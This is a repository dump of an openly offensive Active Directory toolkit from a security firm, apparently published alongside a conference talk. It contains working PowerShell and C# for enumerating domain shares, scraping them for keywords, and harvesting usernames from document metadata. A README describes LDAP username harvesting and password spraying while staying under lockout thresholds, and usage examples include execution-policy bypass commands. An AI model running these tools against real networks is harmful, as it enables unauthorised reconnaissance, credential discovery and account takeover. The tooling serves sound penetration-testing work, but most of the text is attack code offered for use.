├── .gitmodules
├── SharpCred
├── SharpCreds
│ ├── Properties
│ │ └── PublishProfiles
│ │ │ ├── FolderProfile.pubxml.user
│ │ │ └── FolderProfile.pubxml
│ ├── ShapCred_Release.csproj
│ ├── ShapCred_Release.sln
│ └── Program.cs
└── Readme.md
├── SharpShares
├── SharpShareRelease
│ ├── Properties
│ │ └── PublishProfiles
│ │ │ ├── FolderProfile.pubxml.user
│ │ │ └── FolderProfile.pubxml
│ ├── SharpShareRelease2.csproj
│ ├── SharpShareRelease2.sln
│ └── Program.cs
└── README.md
├── Invoke-Ghost
├── Invoke-Ghost.ps1
└── README.md
├── README.md
└── DomainScrape
├── Invoke-NetShareScrape.ps1
├── README.md
└── Invoke-Scrape.ps1
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "ScrapingKit"]
2 | path = ScrapingKit
3 | url = https://github.com/LaresLLC/ScrapingKit
4 |
5 | [submodule "SlinkyCat"]
6 | path = SlinkyCat
7 | url = https://github.com/LaresLLC/SlinkyCat
8 |
--------------------------------------------------------------------------------
/SharpCred/SharpCreds/Properties/PublishProfiles/FolderProfile.pubxml.user:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 | True|2023-07-03T10:20:52.9898775Z;
8 |
9 |
10 |
--------------------------------------------------------------------------------
/SharpShares/SharpShareRelease/Properties/PublishProfiles/FolderProfile.pubxml.user:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 | True|2023-06-23T11:14:36.9590458Z;
8 |
9 |
10 |
--------------------------------------------------------------------------------
/SharpShares/SharpShareRelease/SharpShareRelease2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net6.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/SharpCred/SharpCreds/ShapCred_Release.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net6.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/SharpCred/SharpCreds/Properties/PublishProfiles/FolderProfile.pubxml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 | Release
8 | Any CPU
9 | bin\Release\net6.0\publish\win-x86\
10 | FileSystem
11 | <_TargetId>Folder
12 | net6.0
13 | win-x86
14 | true
15 | true
16 | false
17 | false
18 |
19 |
--------------------------------------------------------------------------------
/SharpShares/SharpShareRelease/Properties/PublishProfiles/FolderProfile.pubxml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 | Release
8 | Any CPU
9 | bin\Release\net6.0\publish\win-x86\
10 | FileSystem
11 | <_TargetId>Folder
12 | net6.0
13 | win-x86
14 | true
15 | true
16 | false
17 | false
18 |
19 |
--------------------------------------------------------------------------------
/SharpCred/SharpCreds/ShapCred_Release.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33712.159
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ShapCred_Release", "ShapCred_Release.csproj", "{EF1DCF82-17E8-43CE-B246-24F31DB175B0}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {EF1DCF82-17E8-43CE-B246-24F31DB175B0}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {14CA98E9-B6C8-455A-A50C-E224E03D80FD}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpShares/SharpShareRelease/SharpShareRelease2.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33712.159
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpShareRelease2", "SharpShareRelease2.csproj", "{806906E5-0FA6-4915-B242-0291F15F60C4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {806906E5-0FA6-4915-B242-0291F15F60C4}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {9A504351-CB14-4EA1-8FFC-ABC12F837EE0}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Invoke-Ghost/Invoke-Ghost.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-Ghost {
2 | $directoryPath = Read-Host -Prompt "Enter the directory path"
3 | $shell = New-Object -ComObject Shell.Application
4 |
5 | # Get all files in the directory and its subdirectories
6 | $files = Get-ChildItem -Path $directoryPath -File -Recurse
7 |
8 | foreach ($file in $files) {
9 | $folder = Split-Path $file.FullName
10 | $fileName = $file.Name
11 |
12 | $shellFolder = $shell.Namespace($folder)
13 | $shellFile = $shellFolder.ParseName($fileName)
14 |
15 | $authorProperty = 20 # Property ID for "Author"
16 | $createdProperty = 4 # Property ID for "Date created"
17 | $modifiedProperty = 3 # Property ID for "Date modified"
18 |
19 | $author = $shellFolder.GetDetailsOf($shellFile, $authorProperty)
20 | $createdDate = $shellFolder.GetDetailsOf($shellFile, $createdProperty)
21 | $modifiedDate = $shellFolder.GetDetailsOf($shellFile, $modifiedProperty)
22 |
23 | # Only display responses with non-blank Author
24 | if (![string]::IsNullOrWhiteSpace($author)) {
25 | # Store the results in a variable with line breaks
26 | $results = @"
27 | Location: $folder
28 | File: $fileName
29 | Author: $author
30 | Created Date: $createdDate
31 | Last Modified Date: $modifiedDate
32 |
33 | "@
34 |
35 | # Output the results
36 | Write-Host $results
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/SharpShares/README.md:
--------------------------------------------------------------------------------
1 | # SharpShares (Offensive SysAdmin Suite)
2 | Quick domain share enumeration tool
3 |
4 |
5 | Compile, execute from within a domain joined machine, it collates a list of all domain joined hosts, and then attempts to enumerate any exposed shares that your account can access.
6 |
7 | Bish Bash Bosh
8 |
9 | ```
10 | PS C:\Users\g.white> C:\Users\g.white\Desktop\SharpShareRelease2.exe
11 | \\WIN-MS87LHLC91U\NETLOGON
12 | \\WIN-MS87LHLC91U\SYSVOL
13 | \\LABLAB-PC1\The-Shares
14 | \\LABLAB-PC1\Users
15 | PS C:\Users\g.white>
16 | ```
17 |
18 |
19 |
20 | The .sln file should do everything for you, but just in case I made some notes below.
21 |
22 | Before you try and compile it check that you have installed System.DirectoryServices 7.0.1 via NuGet then it should compile.
23 | It should work with future updates of System.DirectoryServices I just picked 7.0.1 because it was the latest at the time of creation.
24 |
25 | Compile instructions, double click the SharpShareRelease2.sln file, this will open Visual Studio (VS), I’m using VS 2022.
26 |
27 | On the right under Solution Explorer, right click on SharpShareRelease2 and select ‘Manage NuGet Packages …’ This will open the NuGet Tab back on the left side of the screen, click on Installed and you should see System.DirectoryServices if you don’t click on the Browse tab next to Installed and search for System.DirectoryServices and install it. 7.0.1 was latest at time of creation.
28 |
29 | Then try and run it, if you get the exe pop up, its looking good, to publish go back to Solution Explorer, right click on SharpShareRelease2 and select Publish, click on Show all Settings, and select
30 |
31 | ```Configuration: Release | Any CPU
32 | Target framework: net6.0
33 | Deployment mode: Self-contained
34 | Target runtime: win-x86
35 | Target location: set to what you want.
36 | ```
37 |
38 | Then click on the File publish option arrow which is just under Target location, and tick Produce single file. Click save then select Publish towards the top middle of the page.
39 |
40 | This should then publish the .exe
41 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Offensive Sysadmin aka Adversary Kit
2 | A collection of tools demonstrated at our recent talk, Adversaries Have It Easy, brought to you by [Neil Lines](https://twitter.com/myexploit2600) & [Andy Gill](https://twitter.com/ZephrFish) at [Lares Labs](https://labs.lares.com).
3 |
4 | 
5 |
6 | The tooling is written in PS and C# using .net 6 for CS binaries. None are provided pre-compiled but instructions on how to do so can be found in the blog post:
7 |
8 | https://labs.lares.com/offensive-sysadmin/
9 |
10 | ## Setup
11 | To pull down all of the tools simply issue:
12 | ```
13 | git clone --recurse-submodules -j8 git://github.com/LaresLLC/OffensiveSysAdmin.git
14 | ```
15 |
16 | Each module has its own readme and can run independently of the suite.
17 |
18 | ## Tooling
19 | The table below details what each tool does, and the subsections detail how to use each.
20 |
21 | | **Name** | **Language** | **Description** |
22 | |--------------|--------------|--------------|
23 | | DomainScrape | PS | Hunt for keywords in documents across domain shares. |
24 | | Invoke-Ghost | PS | Only scrapes metadata from office documents from an entire directory, a stealthy way to grab usernames. |
25 | | [ScrapingKit](https://github.com/LaresLLC/ScrapingKit) | PS & C# | Scraping Kit comprises several tools for scraping services for keywords, useful for initial enumeration of Domain Controllers or if you have popped a user's desktop, their outlook client. |
26 | | SharpCred | C# | Automates the harvesting of domain user accounts / password stuffing/domain groups, which can be used from domain or nondomain joined hosts. |
27 | | SharpShares | C# | Takes no input, executes, and gives you a list of shares the domain user can access. |
28 | | [SlinkyCat](https://github.com/LaresLLC/SlinkyCat) | PS | A collection of AD Audit functions for easy identification of misconfigurations within active directories, users, groups, permissions, and mishandling data within objects |
29 |
30 |
31 | Read this blog post for more detailed information over on [Lares Labs](https://labs.lares.com/)
32 |
--------------------------------------------------------------------------------
/Invoke-Ghost/README.md:
--------------------------------------------------------------------------------
1 | # Invoke-Ghost (Offensive SysAdmin Suite)
2 | Sneaky sneak way to scrape metadata from office docs using PowerShell from local and remote shares.
3 |
4 | ``` PS C:\Users\user1\Desktop\Scripts\Ghost> powershell.exe -nop -exec bypass ```
5 |
6 |
7 | Executing the script on a local machine:
8 |
9 | ```
10 | PS C:\Users\user1\Desktop\Scripts\Ghost> Import-Module .\Invoke-Ghost.ps1
11 |
12 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost
13 |
14 | Enter the directory path: C:\Users\user1\Desktop\Meta2\
15 |
16 | Location: C:\Users\user1\Desktop\Meta2
17 | File: fddfdfdf.pptx
18 | Author: Freaky Dico
19 | Created Date: 22/06/2023 12:24
20 | Last Modified Date: 21/06/2023 12:29
21 |
22 | Location: C:\Users\user1\Desktop\Meta2
23 | File: Test1.docx
24 | Author: Freaky Dico
25 | Created Date: 22/06/2023 13:23
26 | Last Modified Date: 22/06/2023 13:23
27 |
28 | Location: C:\Users\user1\Desktop\Meta2
29 | File: Test2.doc
30 | Author: Freaky Lines
31 | Created Date: 22/06/2023 13:23
32 | Last Modified Date: 22/06/2023 13:23
33 |
34 | Location: C:\Users\user1\Desktop\Meta2
35 | File: Test_1.xls
36 | Author: FDico
37 | Created Date: 22/06/2023 12:24
38 | Last Modified Date: 21/06/2023 12:28
39 |
40 | Location: C:\Users\user1\Desktop\Meta2
41 | File: Test_2.xlsx
42 | Author: FDico
43 | Created Date: 22/06/2023 12:24
44 | Last Modified Date: 21/06/2023 12:29
45 |
46 | ```
47 |
48 | Executing the script against a domain controllers share path.
49 |
50 | ```
51 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost
52 | Enter the directory path: \\hacklab.local\NETLOGON\
53 | Location: \\hacklab.local\NETLOGON
54 | File: fddfdfdf.pptx
55 | Author: Freaky Dico
56 | Created Date: 21/06/2023 12:29
57 | Last Modified Date: 21/06/2023 12:29
58 |
59 | Location: \\hacklab.local\NETLOGON
60 | File: Test1.docx
61 | Author: Freaky Dico
62 | Created Date: 22/06/2023 13:23
63 | Last Modified Date: 22/06/2023 13:23
64 |
65 | Location: \\hacklab.local\NETLOGON
66 | File: Test2.doc
67 | Author: Freaky Dico
68 | Created Date: 22/06/2023 13:23
69 | Last Modified Date: 22/06/2023 13:23
70 |
71 | Location: \\hacklab.local\NETLOGON
72 | File: Test_1.xls
73 | Author: FDico
74 | Created Date: 21/06/2023 12:28
75 | Last Modified Date: 21/06/2023 12:28
76 |
77 | Location: \\hacklab.local\NETLOGON
78 | File: Test_2.xlsx
79 | Author: FDico
80 | Created Date: 21/06/2023 12:29
81 | Last Modified Date: 21/06/2023 12:29
82 | ```
83 |
84 | Executing the script against a remote host share path.
85 |
86 | ```
87 | PS C:\Users\user1\Desktop\Scripts\Ghost> Invoke-Ghost
88 | Enter the directory path: \\Win11-Host-2\Silly_Share\
89 | Location: \\Win11-Host-2\Silly_Share
90 | File: fddfdfdf.pptx
91 | Author: Freaky Dico
92 | Created Date: 21/06/2023 12:29
93 | Last Modified Date: 21/06/2023 12:29
94 |
95 | Location: \\Win11-Host-2\Silly_Share
96 | File: Test1.docx
97 | Author: Freaky Dico
98 | Created Date: 22/06/2023 13:23
99 | Last Modified Date: 22/06/2023 13:23
100 |
101 | Location: \\Win11-Host-2\Silly_Share
102 | File: Test2.doc
103 | Author: Freaky Dico
104 | Created Date: 22/06/2023 13:23
105 | Last Modified Date: 22/06/2023 13:23
106 |
107 | Location: \\Win11-Host-2\Silly_Share
108 | File: Test_1.xls
109 | Author: FDico
110 | Created Date: 21/06/2023 12:28
111 | Last Modified Date: 21/06/2023 12:28
112 |
113 | Location: \\Win11-Host-2\Silly_Share
114 | File: Test_2.xlsx
115 | Author: FDico
116 | Created Date: 21/06/2023 12:29
117 | Last Modified Date: 21/06/2023 12:29
118 |
119 | PS C:\Users\user1\Desktop\Scripts\Ghost>
120 |
121 | ```
122 |
--------------------------------------------------------------------------------
/SharpShares/SharpShareRelease/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices;
4 | using System.Net;
5 | using System.Net.NetworkInformation;
6 | using System.Runtime.InteropServices;
7 |
8 | public class Program
9 | {
10 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
11 | public static extern int NetShareEnum(
12 | string serverName,
13 | int level,
14 | ref IntPtr bufPtr,
15 | int prefMaxLen,
16 | ref int entriesRead,
17 | ref int totalEntries,
18 | ref int resumeHandle
19 | );
20 |
21 | [DllImport("Netapi32.dll")]
22 | public static extern int NetApiBufferFree(IntPtr buffer);
23 |
24 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
25 | public struct SHARE_INFO_1
26 | {
27 | [MarshalAs(UnmanagedType.LPWStr)]
28 | public string shi1_netname;
29 | public uint shi1_type;
30 | [MarshalAs(UnmanagedType.LPWStr)]
31 | public string shi1_remark;
32 | }
33 |
34 | public static int GetSize()
35 | {
36 | return Marshal.SizeOf(typeof(SHARE_INFO_1));
37 | }
38 |
39 | public static string GDN1()
40 | {
41 | string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName;
42 | if (!string.IsNullOrEmpty(domainName))
43 | {
44 | return domainName;
45 | }
46 | else
47 | {
48 | string hostName = Dns.GetHostName();
49 | string[] hostNameParts = hostName.Split('.');
50 | if (hostNameParts.Length > 1)
51 | {
52 | return string.Join(".", hostNameParts, 1, hostNameParts.Length - 1);
53 | }
54 | else
55 | {
56 | return hostName;
57 | }
58 | }
59 | }
60 |
61 | public static void GS1(string[] computerNames)
62 | {
63 | foreach (string domainHost in computerNames)
64 | {
65 | int queryLevel = 1;
66 | IntPtr ptrInfo = IntPtr.Zero;
67 | int entriesRead = 0;
68 | int totalEntries = 0;
69 | int resumeHandle = 0;
70 |
71 | int result = NetShareEnum(domainHost, queryLevel, ref ptrInfo, -1, ref entriesRead, ref totalEntries, ref resumeHandle);
72 | long offset = ptrInfo.ToInt64();
73 |
74 | if (result == 0 && offset > 0)
75 | {
76 | int increment = GetSize();
77 |
78 | for (int i = 0; i < entriesRead; i++)
79 | {
80 | IntPtr newIntPtr = new IntPtr(offset);
81 | SHARE_INFO_1 info = (SHARE_INFO_1)Marshal.PtrToStructure(newIntPtr, typeof(SHARE_INFO_1));
82 |
83 | if (info.shi1_netname != "ADMIN$" && info.shi1_netname != "C$" && info.shi1_netname != "IPC$")
84 | {
85 | Console.WriteLine("\\\\" + domainHost + "\\" + info.shi1_netname);
86 | }
87 |
88 | offset += increment;
89 | }
90 |
91 | NetApiBufferFree(ptrInfo);
92 | }
93 | else if (result != 0)
94 | {
95 | // Error occurred, but we skip displaying the error message
96 | continue;
97 | }
98 | }
99 | }
100 |
101 | public static void Main()
102 | {
103 | string domainName = GDN1();
104 | string ldapPath = "LDAP://" + domainName;
105 |
106 | List computerNames = new List();
107 | using (System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(ldapPath))
108 | {
109 | using (System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(root, "(objectCategory=computer)"))
110 | {
111 | searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree;
112 | searcher.PageSize = 1000;
113 | searcher.PropertiesToLoad.Add("name");
114 |
115 | foreach (System.DirectoryServices.SearchResult result in searcher.FindAll())
116 | {
117 | computerNames.Add(result.Properties["name"][0].ToString());
118 | }
119 | }
120 | }
121 |
122 | GS1(computerNames.ToArray());
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/SharpCred/Readme.md:
--------------------------------------------------------------------------------
1 | # SharpCred (Offensive SysAdmin Suite)
2 |
3 |
4 | SharpCred allows users to authenticate with a domain, generate or load a list of usernames, and check if a provided password matches any of the usernames. It also retrieves the domain groups associated with valid credentials and identifies high privileged accounts based on predefined groups. The program can enumerate the domain password policy and provides an interactive menu for performing these operations.
5 |
6 |
7 | To compile double click the ShapCred_Release.sln file which should open Visual Studio for you.
8 |
9 | 
10 |
11 |
12 |
13 | If you want to look at the C# click on Program.cs under the Solution Explorer
14 |
15 | 
16 |
17 |
18 |
19 |
20 | The file contains all that is required to compile so you can just right-click on SharpCred_Release and select Publish.
21 |
22 | 
23 |
24 |
25 |
26 | If you click on Show all settings, you can see the publish settings, which will compile SharpCred as self-contained single binary file.
27 |
28 | 
29 |
30 |
31 |
32 |
33 |
34 | Once you have published the file, you can then copy the binary to a testing machine.
35 |
36 | 
37 |
38 |
39 | The program can be run from domain or nondomain machines, to connect from a nondomain machine, verify that you can ping the full domain to confirm DNS routing.
40 |
41 |
42 | 
43 |
44 | If you can’t ping the full domain, check the DNS setting on your test machine, which should point to the domain DNS IP address, which is typically the domain controller’s IP address.
45 | In the lab we use DHCP for the VMs but add a static IP address for local DNS pointing at the lab domain controllers IP address of 192.168.68.220.
46 |
47 | To execute it, you can either double click it or open it in CMD/PowerShell.
48 |
49 | You are then asked to authenticate with the domain. If you add a wrong credential, it will be rejected by the local domain controller, and you are prompted to try again. You can authenticate with an account belonging to only the domain users’ group.
50 |
51 | Successful authentication will result in complete menu loading. All options are executed over LDAP, and it is advised to execute option 3 first, which will enumerate the domain password and lockout policy.
52 |
53 | A lockout threshold of 0 is the default setting in a domain, it means no policy has been set and you can attempt as many passwords as you wish without risk of lockouts.
54 |
55 |
56 | If you see any number other than 0 take note of it, as that is the amount of times you could attempt password choices within the defined time period, to be carful it would be recommended to not attempt 2 less tries than the number specifies, example if the Lockout Threshold was set to 5 it would be advised to only attempt 3 tries within a time period.
57 |
58 | You can return to the original menu by pressing b.
59 |
60 | ```
61 | Enter a password to try against the usernames ('b' to return to the original menu or 'q' to quit): b
62 | Choose an option:
63 | 1. Generate usernames using LDAP query
64 | 2. Provide usernames from a file
65 | 3. Enumerate domain password policy
66 | 4. Quit
67 |
68 | Enter your choice:
69 |
70 | ```
71 |
72 | Option 1: Scrapes a list of all of domain usernames using LDAP.
73 |
74 | It lists the number of usernames that are harvested and then offers you the option to save a copy to disk if you wish to. These usernames are stored in memory and are used as the target list during the password stuffing attempt.
75 |
76 | Saving the harvested username list back to disk.
77 |
78 | After pressing enter you are asked to add a password choice, be careful as each attempt will be executed so check for typos, when ready press enter.
79 |
80 | The program then will attempt to authenticate with the domain controller using the harvested username list combined with the password choice. Any successful matches are printed to the console, followed by their domain group, and any accounts belonging to a high privileged group.
81 |
82 | Option 2: Allows you to use your own list of usernames, which can be used as a stealthy approach when in a security mature environment.
83 |
84 | Usernames should be provided in a list with one username per line.
85 |
86 |
--------------------------------------------------------------------------------
/DomainScrape/Invoke-NetShareScrape.ps1:
--------------------------------------------------------------------------------
1 |
2 | <#
3 |
4 | Scrapes domain controller NETLOGON but not SYSVOL for all key words and also searches all domain shares for same keywords.
5 |
6 | #>
7 |
8 |
9 | function Invoke-NetShareScrape {
10 |
11 | Add-Type -TypeDefinition @'
12 | using System;
13 | using System.Runtime.InteropServices;
14 |
15 | public class Netapi32 {
16 | [DllImport("Netapi32.dll")]
17 | public static extern int DsRoleGetPrimaryDomainInformation(
18 | string lpServer,
19 | int InfoLevel,
20 | out IntPtr Buffer
21 | );
22 |
23 | [DllImport("Netapi32.dll")]
24 | public static extern int NetApiBufferFree(IntPtr Buffer);
25 |
26 | [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
27 | public static extern int NetShareEnum(
28 | string serverName,
29 | int level,
30 | ref IntPtr bufPtr,
31 | int prefMaxLen,
32 | ref int entriesRead,
33 | ref int totalEntries,
34 | ref int resumeHandle
35 | );
36 | }
37 |
38 | [StructLayout(LayoutKind.Sequential)]
39 | public struct DSROLE_PRIMARY_DOMAIN_INFO_BASIC {
40 | public IntPtr DomainNameFlat;
41 | public int DomainRole;
42 | public IntPtr DomainNameDns;
43 | public IntPtr DomainForestName;
44 | public int Flags;
45 | }
46 |
47 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
48 | public struct SHARE_INFO_1 {
49 | [MarshalAs(UnmanagedType.LPWStr)]
50 | public string shi1_netname;
51 | public uint shi1_type;
52 | [MarshalAs(UnmanagedType.LPWStr)]
53 | public string shi1_remark;
54 | }
55 |
56 | public class SHARE_INFO_1_Helper {
57 | public static int GetSize() {
58 | return Marshal.SizeOf(typeof(SHARE_INFO_1));
59 | }
60 | }
61 | '@
62 |
63 | function IsDomainController {
64 | $domainControllerRole = 3 # DSROLE_PRIMARY_DOMAIN_INFO_BASIC.DomainRole for a domain controller
65 |
66 | $bufferPtr = [IntPtr]::Zero
67 | $result = [Netapi32]::DsRoleGetPrimaryDomainInformation($null, 0, [ref]$bufferPtr)
68 |
69 | if ($result -eq 0 -and $bufferPtr -ne [IntPtr]::Zero) {
70 | $domainInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($bufferPtr, [type][DSROLE_PRIMARY_DOMAIN_INFO_BASIC])
71 |
72 | if ($domainInfo.DomainRole -eq $domainControllerRole) {
73 | return $true
74 | }
75 | }
76 |
77 | if ($bufferPtr -ne [IntPtr]::Zero) {
78 | [Netapi32]::NetApiBufferFree($bufferPtr)
79 | }
80 |
81 | return $false
82 | }
83 |
84 | function Get-Shares {
85 | [OutputType('ShareInfo')]
86 | [CmdletBinding()]
87 | Param(
88 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
89 | [Alias('HostName', 'dnshostname', 'name')]
90 | [ValidateNotNullOrEmpty()]
91 | [String[]]
92 | $ComputerName = $null
93 | )
94 |
95 | BEGIN {
96 | if (-not $ComputerName) {
97 | $adSearcher = [adsisearcher]'(objectCategory=computer)'
98 | $adSearcher.SearchScope = 'Subtree'
99 | $adSearcher.PageSize = 1000
100 | $adSearcher.PropertiesToLoad.AddRange(@('name'))
101 | $ComputerName = $adSearcher.FindAll() | ForEach-Object { $_.Properties['name'][0] }
102 | }
103 | }
104 |
105 | PROCESS {
106 | foreach ($DomainHost in $ComputerName) {
107 | $QueryLevel = 1
108 | $PtrInfo = [IntPtr]::Zero
109 | $EntriesRead = 0
110 | $TotalRead = 0
111 | $ResumeHandle = 0
112 |
113 | $Result = [Netapi32]::NetShareEnum($DomainHost, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
114 | $Offset = $PtrInfo.ToInt64()
115 |
116 | if (($Result -eq 0) -and ($Offset -gt 0)) {
117 | $Increment = [SHARE_INFO_1_Helper]::GetSize()
118 |
119 | for ($i = 0; $i -lt $EntriesRead; $i++) {
120 | $NewIntPtr = New-Object System.IntPtr -ArgumentList $Offset
121 | $Info = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NewIntPtr, [type][SHARE_INFO_1])
122 |
123 | if (($Info.shi1_netname -ne 'ADMIN$') -and ($Info.shi1_netname -ne 'C$') -and ($Info.shi1_netname -ne 'IPC$')) {
124 | "\\$DomainHost\$($Info.shi1_netname)"
125 | }
126 |
127 | $Offset += $Increment
128 | }
129 |
130 | $Null = [Netapi32]::NetApiBufferFree($PtrInfo)
131 | }
132 | else {
133 | Write-Verbose "[Get-Shares] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
134 | }
135 | }
136 | }
137 | }
138 |
139 | function PromptForCustomKeywords {
140 | [CmdletBinding()]
141 | param (
142 | [Switch]$ExcludeCurrentMachine
143 | )
144 |
145 | $computerName = $env:COMPUTERNAME
146 | $currentMachinePath = "\\$computerName"
147 |
148 | $keywords = @()
149 |
150 | Write-Host "Enter initial keyword (or press enter to finish):"
151 | $keyword = Read-Host
152 |
153 | while ($keyword -ne '') {
154 | $keywords += $keyword
155 | Write-Host "Enter additional keyword (or press enter to finish):"
156 | $keyword = Read-Host
157 | }
158 |
159 | Write-Host
160 |
161 | $shares = Get-Shares
162 |
163 | foreach ($share in $shares) {
164 | $sharePath = "\\$($share.Split('\')[2])\$($share.Split('\')[3])"
165 |
166 | if ($excludeCurrentMachine -and ($sharePath -eq $currentMachinePath)) {
167 | continue
168 | }
169 |
170 | try {
171 | Get-ChildItem -LiteralPath $sharePath -Recurse -File -ErrorAction Stop | Where-Object { $_.Name -notin @('GptTmpl.inf', 'GPT.INI', 'Registry.pol') -and $_.Extension -match '^(?:\.txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls)$' } | ForEach-Object {
172 | $fileContent = Get-Content -LiteralPath $_.FullName -Raw
173 |
174 | $matchingLines = $fileContent | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false
175 |
176 | if ($matchingLines) {
177 | $matchingWords = ($matchingLines.Line | Select-String -Pattern $keywords -SimpleMatch -CaseSensitive:$false -AllMatches).Matches.Value -join ' '
178 |
179 | [PSCustomObject]@{
180 | ComputerName = $share.Split('\')[2]
181 | ShareName = $share.Split('\')[3]
182 | FileName = $_.Name
183 | FullName = $_.FullName
184 | MatchingLines = if ($matchingLines.Line.Length -le 2000) { $matchingLines.Line } else { $matchingLines.Line.Substring(0, 2000) + "..." }
185 | AdditionalKeywordsFound = $matchingWords
186 | }
187 | }
188 | }
189 | }
190 | catch {
191 | Write-Verbose "[PromptForCustomKeywords] Error accessing share '$sharePath': $($_.Exception.Message)"
192 | }
193 | }
194 | }
195 |
196 | PromptForCustomKeywords -ExcludeCurrentMachine
197 |
198 | }
--------------------------------------------------------------------------------
/DomainScrape/README.md:
--------------------------------------------------------------------------------
1 | # DomainScrape (Offensive SysAdmin Suite)
2 | Domain Scrape is an extension of [ScrapingKit](https://github.com/LaresLLC/ScrapingKit) that will scrape shares for supplied keywords, think of it as SnafflerLite but more focused.
3 |
4 | ***Invoke-Scrape.ps1***
5 |
6 |
7 | Offers users the following 2 options.
8 |
9 |
10 | Scrape the Domain Controller - This option will only scrape NETLOGON and SYSVOL directories.
11 | Scrape all Domain Shares - This option only scrapes NETLOGON on the DC and then all other readable available domain shares.
12 |
13 | SYSVOL contains Group Policies (GPP), if you don’t want to manually review them use option 1.
14 |
15 |
16 |
17 | ***Invoke-NetShareScrape.ps1***
18 |
19 | Used to hunt for keywords in files stored across network shares, Invoke-NetShareScrape.ps1 will enumerate all shares the user that executed can access, and then scrape the following file doc formats .txt|\.ini|\.xml|\.bat|\.ps1|\.doc|\.docx|\.xlsx|\.xls for the user defined keywords.
20 |
21 |
22 | ```
23 | PS C:\> powershell.exe -nop -exec bypass
24 | PS C:\> Import-Module Invoke-NetShareScrape.ps1
25 | PS C:\> Invoke-NetShareScrape
26 |
27 | Enter initial keyword (or press enter to finish):
28 | cat
29 | Enter additional keyword (or press enter to finish):
30 |
31 |
32 |
33 |
34 | ComputerName : WIN-MS87LHLC91U
35 | ShareName : NETLOGON
36 | FileName : Game1.txt
37 | FullName : \\WIN-MS87LHLC91U\NETLOGON\Shares\Game1.txt
38 | MatchingLines : # Description:
39 | # This script disables Windows Defender. Run it once (will throw errors), then
40 | # reboot, run it again (this time no errors should occur) followed by another
